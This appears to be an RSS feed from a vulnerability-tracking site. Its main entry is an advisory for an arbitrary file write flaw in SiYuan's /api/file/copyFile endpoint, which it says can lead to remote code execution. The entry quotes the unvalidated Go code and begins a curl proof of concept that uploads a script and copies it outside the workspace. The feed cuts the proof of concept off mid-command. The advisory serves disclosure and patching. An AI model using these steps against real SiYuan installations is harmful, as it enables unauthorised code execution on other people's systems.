<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 18 Oct 2026 12:13:00 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-267495</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267495</link>
      <description>EUVD-2026-267495</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267495</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25539</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25539</link>
      <description>&lt;p&gt;SiYuan is a personal knowledge management system. Prior to version 3.5.5, the /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files. This issue has been patched in version 3.5.5.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;SiYuan is a personal knowledge management system. Prior to version 3.5.5, the /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files. This issue has been patched in version 3.5.5.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25539</guid>
    </item>
    <item>
      <title>GHSA-c4jr-5q7w-f6r9 — SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-c4jr-5q7w-f6r9</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/siyuan-note/siyuan/kernel&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.&lt;/p&gt;
&lt;p&gt;- Affected Version: 3.5.3 (and likely all prior versions)&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
- Location: `kernel/api/file.go` - copyFile function&lt;/p&gt;
&lt;p&gt;```go
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
    // ...
    src := arg[&amp;#34;src&amp;#34;].(string)
    src, err := model.GetAssetAbsPath(src)  // src is validated
    // ...&lt;/p&gt;
&lt;p&gt;dest := arg[&amp;#34;dest&amp;#34;].(string)  // dest is NOT validated!
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}
```&lt;/p&gt;
&lt;p&gt;The `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;### Step 1: Upload malicious content to workspace&lt;/p&gt;
&lt;p&gt;```bash
curl -X POST &amp;#34;http://target:6806/api/file/putFile&amp;#34; \
  -H &amp;#34;Authorization: Token &amp;lt;API_TOKEN&amp;gt;&amp;#34; \
  -F &amp;#34;path=/data/assets/malicious.sh&amp;#34; \
  -F &amp;#34;file=@-;filename=malicious.sh&amp;#34; &amp;lt;&amp;lt;&amp;lt; &amp;#39;#!/bin/sh
id &amp;gt; /tmp/pwned.txt
hostname &amp;gt;&amp;gt; /tmp/pwned.txt&amp;#39;
```&lt;/p&gt;
&lt;p&gt;### Step 2: Copy to arbitrary location (e.g., /tmp)&lt;/p&gt;
&lt;p&gt;```bash
curl -X POST &amp;#34;http://target:6806/api/file/copyFile&amp;#34; \
  -H &amp;#34;Authoriza…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/siyuan-note/siyuan/kernel&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.&lt;/p&gt;
&lt;p&gt;- Affected Version: 3.5.3 (and likely all prior versions)&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
- Location: `kernel/api/file.go` - copyFile function&lt;/p&gt;
&lt;p&gt;```go
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
    // ...
    src := arg[&amp;#34;src&amp;#34;].(string)
    src, err := model.GetAssetAbsPath(src)  // src is validated
    // ...&lt;/p&gt;
&lt;p&gt;dest := arg[&amp;#34;dest&amp;#34;].(string)  // dest is NOT validated!
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}
```&lt;/p&gt;
&lt;p&gt;The `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;### Step 1: Upload malicious content to workspace&lt;/p&gt;
&lt;p&gt;```bash
curl -X POST &amp;#34;http://target:6806/api/file/putFile&amp;#34; \
  -H &amp;#34;Authorization: Token &amp;lt;API_TOKEN&amp;gt;&amp;#34; \
  -F &amp;#34;path=/data/assets/malicious.sh&amp;#34; \
  -F &amp;#34;file=@-;filename=malicious.sh&amp;#34; &amp;lt;&amp;lt;&amp;lt; &amp;#39;#!/bin/sh
id &amp;gt; /tmp/pwned.txt
hostname &amp;gt;&amp;gt; /tmp/pwned.txt&amp;#39;
```&lt;/p&gt;
&lt;p&gt;### Step 2: Copy to arbitrary location (e.g., /tmp)&lt;/p&gt;
&lt;p&gt;```bash
curl -X POST &amp;#34;http://target:6806/api/file/copyFile&amp;#34; \
  -H &amp;#34;Authoriza…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-c4jr-5q7w-f6r9</guid>
    </item>
  </channel>
</rss>
